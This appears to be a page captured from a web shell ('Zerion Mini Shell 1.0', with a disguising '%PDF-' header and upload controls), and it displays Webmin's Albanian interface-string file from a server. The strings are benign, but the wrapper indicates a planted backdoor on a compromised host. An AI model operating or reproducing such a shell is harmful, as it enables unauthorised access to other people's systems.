%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/webmin/lang/
Upload File :
Create Path :
Current File : //usr/share/webmin/lang/sq

main_homepage = Faqja Kryesore
main_feedback = Reagim ..
main_switch = Nderro përdoruesin ..
main_logout = Dil
main_version = Version $ 1 në $ 2 ($ 3)
main_title = Webmin $ 1 në $ 2 ($ 3)
main_title2 = Webmin
main_title3 = Webmin $ 1 ($ 2)
main_none = Ju nuk keni qasje në ndonjë modul Webmin.
main_skill = Niveli i aftësive
main_readonly = (modaliteti vetëm i leximit)
main_return = Kthimi në $ 1
main_unused = Un-used Modules
main_refreshmods = Refresh Modulet

link_essl = Moduli Net :: SSLeay Perl i nevojshëm për të bërë lidhjet HTTPS nuk është instaluar në sistemin tuaj.

category_servers = Servers
category_hardware = Hardware
category_system = Sistemi
category_webmin = Webmin
category_net = Rrjeta
category_syslet = Syslets
category_cluster = grumbull
category_info = Informacion
category_ = tjerë

longcategory_servers = Modulet për konfigurimin e uebit, e-mail, FTP dhe serverë të tjerë
longcategory_hardware = Modulet për printer, disk dhe konfigurime të tjera hardware
longcategory_system = Modulet për përdoruesit, sistemet e skedarëve, punët Cron dhe cilësimet e tjera të sistemit
longcategory_webmin = Modulet për konfigurimin e vetë Webmin
longcategory_net = Modulet për konfigurimin e rrjeteve dhe shërbimeve të rrjetit
longcategory_cluster = Modulet që mund të menaxhojnë shumë serverë nga një ndërfaqe e vetme
longcategory_info = Modulet që shfaqin informacion rreth sistemit tuaj
longcategory_ = Modulet që nuk bien në ndonjë kategori tjetër

header_webmin = Indeksi i Webmin
header_module = Indeksi i Modulit
header_help = Ndihme ..
header_config = Moduli Konfig
header_servers = Servera Webmin

indeks = indeks
yes = Po
no = Jo
save = Ruaj
create = Krijo
delete = Fshije
find= Gjej
error = Gabim
error_previous = faqen e mëparshme
error_stack = Trace Stack Stack
error_file = dokumentit
error_line = Line
error_sub = funksioni
error_stackline = Në dosjen $ 1 në linjë $ 2 duke thirrur $ 3
efilewrite = Dështoi të shkruaja në $ 1: $ 2
efileclose = Dështoi të shkruante në $ 1 kur mbyllet: $ 2
efileopen = Dështoi në hapjen e $ 1 për shkrim: $ 2
default = Parazgjedhur
modify = Modifikimi
reset = Reset
ok = OK
cancel = Anulo
fail = Dështoi
helpsearch = Kërko dokumente ..
switch_remote_euser = Përdoruesi Unix $ 1 nuk ekziston.
programname = Webmin
euserdbacl = Dështoi në marrjen e ACL të përdoruesit: $ 1
euserdbacl2 = Dështoi në përditësimin e përdoruesit ACL: $ 1
egroupdbacl = Dështoi në gjetjen e grupit ACL: $ 1
egroupdbacl2 = Dështoi në përditësimin e grupit ACL: $ 1

chooser_title1 = Zgjidh skedarin ..
chooser_title2 = Zgjedhni Drejtor ..
chooser_dir = Drejtori i $ 1
chooser_ok = rregull
chooser_date = Zgjidh datën
chooser_eopen = Listimi dështoi: $ 1

users_title1 = Zgjidh përdoruesit ..
users_title2 = Zgjidh përdoruesin ..
users_sel = Përdoruesit e zgjedhur
users_all = Të gjithë Përdoruesit
users_ok = rregull
users_cancel = Anulo
users_clear = Pastro

groups_title1 = Zgjidh grupet ..
groups_title2 = Zgjedh Grupin ..
groups_all = Të gjitha grupet
groups_sel = Grupet e zgjedhura
groups_ok = rregull
groups_cancel = Anulo
groups_clear = Pastro

modules_title1 = Zgjidh modulet ..
modules_title2 = Zgjidh modulin ..
modules_sel = Modulet e zgjedhura
modules_all = Të gjitha modulet
modules_ok = rregull
modules_cancel = Anulo
modules_clear = Pastro

config_ecannot = Ju nuk jeni i lejuar të konfiguroni këtë modul
config_title = konfigurimit
config_dir = Për modulin $ 1
config_header = Mundësi të konfigurueshme për $ 1
config_none = Asnjë
config_eaccess = Nuk ju lejohet të hyni në këtë modul
config_err = Dështoi në ruajtjen e konfigurimit
config_nochange = Mos ndrysho
config_setto = Caktohet
config_ewebmin = Lloji i parametrit 14 punon vetëm në Webmin

help_err = Dështoi në shfaqjen e ndihmës
help_epath = Linja e humbur ose e pavlefshme e ndihmës
help_efile = Dështova në leximin e skedës së ndihmës $ 1
help_eheader = Zhduk & lt; header & gt; seksion
help_einclude = Dështoi të përfshijë $ 1
help_eif = $ 1 dështoi: $ 2
help_eexec = $ 1 dështoi: $ 2

referer_title = Paralajmërim për Sigurinë
referer_warn = <b> Kujdes!</ b> Webmin ka zbuluar se programi $ 2 ishte i lidhur me URL $ 1, i cili duket të jetë jashtë serverit Webmin.Kjo mund të jetë një përpjekje për të mashtruar serverin tuaj në ekzekutimin e një komande të rrezikshme. 
referer_warn_unknown = <b> Kujdes!</ b> Webmin ka zbuluar se programi $ 1 ishte i lidhur me një URL të panjohur, i cili duket të jetë jashtë serverit Webmin.Kjo mund të jetë një përpjekje për të mashtruar serverin tuaj në ekzekutimin e një komande të rrezikshme. 
referer_fix1 = Nëse kjo është një link i ligjshëm, mund të lejoni lidhjet nga ky URL si më poshtë: <ul> <li> Identifikohu në Webmin normalisht. <li> Shko te moduli <b> Webmin Configuration </ b> Klikoni në ikonën Referuesit e besuar. <Li> Futni hostname $ 1 në fushën e <b> Websiteve të besuara </ b> dhe klikoni <b> Ruaj </ b>. </ Ul>
referer_fix2 = Alternativisht, ju mund të konfiguroni Webmin për të lejuar këtë link nga rreshti i komandës: <ul> <li> Identifikohu si <tt> root </ tt>, dhe modifikoni <tt> / etc / webmin / config </ tt > <li> Shto vijën <tt> referers = $ 1 </ tt> në fund, ose nëse një linjë <tt> Referues </ tt> tashmë ekziston shtoni <tt> $ 1 </ tt> li> Ruaj skedarin. </ ul>
referer_fix3u = Sigurohuni që shfletuesi juaj është i konfiguruar për të dërguar informacion referues në mënyrë që të mund të verifikohet nga Webmin.
referer_fix2u = Alternativisht, mund të konfiguroni Webmin për të lejuar lidhjet nga referuesit e panjohur: <ul> <li> Identifikohu si <tt> rrënjë </ tt>, dhe modifikoni skedarin <tt> / etc / webmin / config </ tt> <li> Ruaj skedarin. </ tt> <p> PARALAJMËRIM - kjo ka të bëjë me ndryshimin e përmbajtjes së të dhënave. </ tt> <tt> referers_none = 1 </ tt> efekti anësor i hapjes së sistemit tuaj deri në sulmet e pasqyruara të XSS dhe kështu nuk rekomandohet !!

session_header = Identifikohu në Webmin
session_mesg = Duhet të futni një emër përdoruesi dhe fjalëkalim për tu identifikuar në serverin Webmin në $ 1.
session_mesg2 = Duhet të futni një emër përdoruesi dhe fjalëkalim për tu identifikuar.
session_user = përdoruesit
session_pass = Fjalëkalimi
session_twofactor = Token me dy faktorë
session_login = Login
session_clear = Pastro
session_failed = Hyrja dështoi. Ju lutemi provoni përsëri.Ju lutemi provoni përsëri. 
session_twofailed = Autentifikimi me dy faktorë dështoi: $ 1
session_logout = Dolet me sukses.Përdorni formularin e mëposhtëm për t'u identifikuar përsëri.Përdorni formularin e mëposhtëm për t'u identifikuar përsëri. 
session_timed_out = Sesioni përfundoi pas 1 minutash pasiviteti.
session_save = Mos harroni hyrjen përgjithmonë?

pam_header = Identifikohu në Webmin
pam_mesg = Ju duhet të përgjigjeni në pyetjen e mëposhtme për të hyrë në serverin Webmin në $ 1.
pam_mesg2 = Ju duhet të përgjigjeni në pyetjen e mëposhtme për tu identifikuar.
pam_login = Vazhdo
pam_restart = Restart

acl_root = Drejtori i rrënjës për përzgjedhësin e skedarit
acl_otherdirs = Drejtoritë e tjera të dukshme në përzgjedhësin e skedarëve
acl_nodot = Fshi dot skedarët në zgjedhësin e skedarit?
acl_home = Lista e përdoruesit në shtëpi
acl_uedit = Përdoruesit e dukshëm në zgjedhësin e përdoruesit
acl_uedit_all = Të gjithë përdoruesit
acl_uedit_none = Asnjë përdorues
acl_uedit_only = Vetëm përdoruesit
acl_uedit_except = Të gjithë përveç përdoruesve
acl_uedit_uid = Përdorues me UID në rang
acl_uedit_group = Përdoruesit me grup
acl_gedit = Grupe të dukshme në përzgjedhësin e grupit
acl_gedit_all = Të gjitha grupet
acl_gedit_none = Asnjë grup
acl_gedit_only = Vetëm grupe
acl_gedit_except = Të gjitha me përjashtim të grupeve
acl_gedit_gid = Grupe me GID në rang
acl_feedback = Mund të dërgojë email feedback?
acl_feedback2 = Po
acl_feedback1 = Po, por jo me skedarët e konfigurimit
acl_feedback0 = No
acl_feedback3 = Po, me skedarë config
acl_rpc = Mund të pranojë thirrjet RPC?
acl_rpc2 = Vetëm për <tt> root </ tt> ose <tt> admin </ tt>
acl_rpc1 = Po
acl_rpc0 = No
acl_readonly2 = Përdoruesi është në modalitetin demo?
acl_readonlyyes = Po (Disa module mund të mos jenë të disponueshme)
acl_negative = Jepni lejet e reja të modulit tek përdoruesi?
acl_fileunix = Shfletoni skedarë si përdorues Unix
acl_sameunix = Same si login Webmin
acl_webminsearch = Trego fushën e kërkimit Webmin?

month_1 = janar
month_2 = shkurt
month_3 = mars
month_4 = prill
month_5 = maj
month_6 = qershor
month_7 = korrik
month_8 = gusht
month_9 = shtator
month_10 = tetor
month_11 = nëntor
month_12 = dhjetor

day_0 = e diel
day_1 = e hënë
day_2 = e martë
day_3 = e mërkurë
day_4 = e enjte
day_5 = e premte
day_6 = e shtunë

smonth_1 = Janar
smonth_2 = shkurt
smonth_3 = mars
smonth_4 = prill
smonth_5 = maj
smonth_6 = qershor
smonth_7 = korrik
smonth_8 = gusht
smonth_9 = shtator
smonth_10 = tetor
smonth_11 = nëntor
smonth_12 = dhjetor

sday_0 = Di
sday_1 = He
sday_2 = Ma
sday_3 = Mer
sday_4 = En
sday_5 = Pr
sday_6 = Sh

emodule = Hyrja e mohuar: Përdoruesi $ 1 nuk lejohet të përdorë modulin $ 2
emodulecheck = Moduli $ 1 nuk është i disponueshëm në sistemin tuaj
elock_tries2 = Dështoi në bllokimin e skedarit $ 1 pas $ 2 minutëshe.Gabimi i fundit ishte: $ 3 

skill_high = Ekspert
skill_medium = Mesatar
skill_low = Fillestar

feedback_title = Feedback në Webmin
feedback_desc = Ky formë ju lejon të raportoni bug-et për të bërë sugjerime për zhvilluesit e Webmin në lidhje me ndonjë problem ose veçori të humbur që keni gjetur. 
feedback_desc2 = Ky reagim do të dërgohet tek zhvilluesi i Webmin, jo administratori i sistemit tuaj, ISP ose kompania pritëse.Ju lutemi shkruani komentet tuaja në gjuhën angleze, edhe nëse jeni duke ekzekutuar Webmin në një gjuhë tjetër. 
feedback_header = Detajet e reagimit
feedback_name = Emri yt
feedback_email = Adresa juaj e emailit
feedback_module = Lidhur me modulin
feedback_all = Të gjitha modulet
feedback_text = Përshkrimi i problemit ose sugjerimit
feedback_os = Përfshi detajet e sistemit operativ në email?
feedback_osdesc = Nëse përzgjedhet ky opsion, email automatik i feedback-it do të përfshijë emrin dhe versionin e sistemit operativ.
feedback_config = Përfshi konfigurimin e modulit në email?
feedback_configdesc = Nëse kjo është përzgjedhur, emaili do të përfshijë konfigurimin e modulit përkatës dhe përmbajtjen e çdo skedari config që përdor moduli.Për shembull, nëse reagimet lidhen me modulin <i> Përdoruesit dhe grupet </ i>, dosjet <tt> / etc / passwd </ tt> dhe </ tt> / shadow </ tt> do të dërgoheshin . 
feedback_attach = Fotografi shtesë që duhet të bashkëngjiten
feedback_send = Dërgo Feedback
feedback_mailserver = Dërgo nëpërmjet server SMTP
feedback_mailserver_def = Programi lokal sendmail
feedback_err = Dështoi të dërgonte reagime
feedback_emodule = Ju zgjodhët të përfshini konfigurimin e modulit në email, por nuk keni zgjedhur një modul.
feedback_emodule2 = Moduli i përzgjedhur nuk ekziston
feedback_econfig = Ju nuk keni akses të plotë në modulin e përzgjedhur.
feedback_via = Jep reagime të dërguara në $ 1 nëpërmjet serverit SMTP $ 2
feedback_prog = Sjell komente për $ 1 duke përdorur programin sendmail $ 2
feedback_esend = Dështoi në dërgimin e komenteve nëpërmjet programit sendmail ose serverit lokal SMTP.
feedback_to = Dërgo reagime në adresa
feedback_enoto = Asnjë adresë nuk u fut për të dërguar përgjigje
feedback_ecannot = Nuk ju lejohet të dërgoni reagime
feedback_ecannot2 = Nuk ju lejohet të dërgoni reagime që përmbajnë skedarë config

progress_size2 = Shkarkimi i $ 1 ($ 2) ..
progress_nosize = Shkarkon $ 1 ..
progress_datan = Pranoi $ 1 ($ 2%)
progress_data2n = Pranoi $ 1
progress_done = .. shkarko plotë.
progress_incache = Gjetur $ 1 në cache ..

readparse_cdheader = Përmbajtja e humbur-header Disposition
readparse_enc = Prisni formimin e kodimit të të dhënave, por mori kodimin normal
readparse_max = Të dhënat tejkaluan madhësinë maksimale prej $ 1 bytes

password_expired = Fjalëkalimi juaj ka skaduar, dhe një i ri duhet të zgjidhet.
password_temp = Ju duhet të zgjidhni një fjalëkalim të ri për të zëvendësuar hyrjen tuaj të përkohshme.
password_header = Zgjidh Fjalorin e ri
password_user = përdoruesit
password_old = Fjalëkalimi aktual
password_new1 = Fjalëkalim i ri
password_new2 = Fjalëkalimi i ri përsëri
password_ok = Ndryshimi
password_clear = Pastro
password_done = Fjalëkalimi juaj është ndryshuar me sukses.Tani mund të <a href='$1'> identifikoheni përsëri </a> me fjalëkalimin e ri. 
password_err = Dështoi në ndryshimin e fjalëkalimit
password_euser = Emri juaj i identifikimit nuk u gjet në dosjen e fjalëkalimit!
password_eold = Fjalëkalimi aktual është i pasaktë
password_enew1 = Nuk u fut asnjë fjalëkalim i ri
password_enew2 = Fjalëkalimet tuaja të reja nuk përputhen
password_epam = Gabim PAM: $ 1
password_emodpam = Authen :: PAM perl modul i nevojshëm për të bërë ndryshime fjalëkalimi nuk është i instaluar!
password_enewpass = Fjalëkalimi i ri nuk lejohet: $ 1

ui_mandatory = Kjo fushë është e detyrueshme
ui_checkmandatory = Asgjë nuk u përzgjodh
ui_errors = Gabime të shumëfishta u gjetën:
ui_nothing = Asgjë nuk hyri
ui_searchcol = Gjeni rreshtat ku
ui_searchfor = Përmban tekstin
ui_searchok = Kërko
ui_selall = Zgjedh të gjitha.
ui_selinv = Përzgjedh zgjedhjen.
ui_edate = Datë e pavlefshme
ui_etime = Koha e pavlefshme
ui_paging = Duke paraqitur rreshta $ 1 deri $ 2 prej $ 3
ui_rowlabel = $ 2 në rreshtin $ 1:
ui_filterbox = Lloji për të filtruar ..

header_statusmsg = $ 1 regjistruar në $ 2 $ 3 në $ 4 ($ 5)

uptracker_title = Ngarkimi i skedarit
uptracker_file = Madhështore
uptracker_size = Size
uptracker_pc = progresit
uptracker_eid = Nuk ka ID të ngarkimit të specifikuar
uptracker_eid2 = ID e Ngarkimit është e pavlefshme!
uptracker_of = $ 1 prej $ 2

wsearch_title = Kërkoni $ 1
wsearch_modt = Moduli
wsearch_mtitle = Emri i modulit
wsearch_what = Faqja e përputhjes
wsearch_type = Lloji i ndeshjes
wsearch_mod = $ 1 modul
wsearch_config_webmin = Konfigurimi i modulit Webmin
wsearch_config_usermin = Preferencat e përdorimit
wsearch_help = Ndihmë faqe
wsearch_inmod = Në $ 1
wsearch_text = Teksti i ndërfaqes së përdoruesit
wsearch_esearch = Asgjë për të kërkuar nuk është futur.
wsearch_enone = Nuk u gjetën module Webmin ose faqe që përputhen me $ 1.
wsearch_on = (Në $ 1)
wsearch_helpfor = Ndihmë për <i> $ 1 </ i>
wsearch_htext = Përputhja e tekstit
wsearch_htype = Burimi
wsearch_hcgis = Referencat
wsearch_type_mod = Emri i modulit
wsearch_type_config = konfigurimit
wsearch_type_help = Ndihmë faqe
wsearch_type_text = Ndërfaqja e përdoruesit
wsearch_type_dir = URL-ja e Modulit
wsearch_hmod = Moduli
wsearch_moddir = Rruga URL / $ 1 /
wsearch_searching = Duke kërkuar për $ 1. .
wsearch_found = gjetur $ 1 rezultate:

sql_emysqldriver = Dështoi në ngarkimin e shoferit MySQL DBI
sql_emysqlconnect = Dështoi në lidhjen me bazën e të dhënave MySQL: $ 1
sql_epostgresqldriver = Dështoi në ngarkimin e shoferit PostgreSQL DBI
sql_epostgresqlconnect = Dështova në lidhjen me bazën e të dhënave PostgreSQL: $ 1
sql_eldapdriver = Dështoi në ngarkimin e modulit LDAP perl
sql_eldapconnect = Dështoi në lidhjen me serverin LDAP $ 1
sql_eldaptls = Dështoi në nisjen e encryption TLS për LDAP: $ 1
sql_eldaplogin = Dështoi në identifikimin në serverin LDAP si $ 1: $ 2

log_email_subject = Veprimi Webmin në $ 1
log_email_global = Veprimi global i Webmin
log_email_desc = Kjo email u dërgua nga Webmin në përgjigje të një veprimi të përdoruesit.
log_email_mod = Moduli Webmin: $ 1
log_email_moddesc = Titulli i modulit: $ 1
log_email_time = Veprimi kryhet në: $ 1
log_email_system = Kryhet në sistem: $ 1
log_email_user = Kryer nga përdorues: $ 1
log_email_script = Script Webmin: $ 1
log_email_session = Sesioni ID: $ 1
log_email_remote = Adresa e klientit: $ 1

__norefs = 1

Zerion Mini Shell 1.0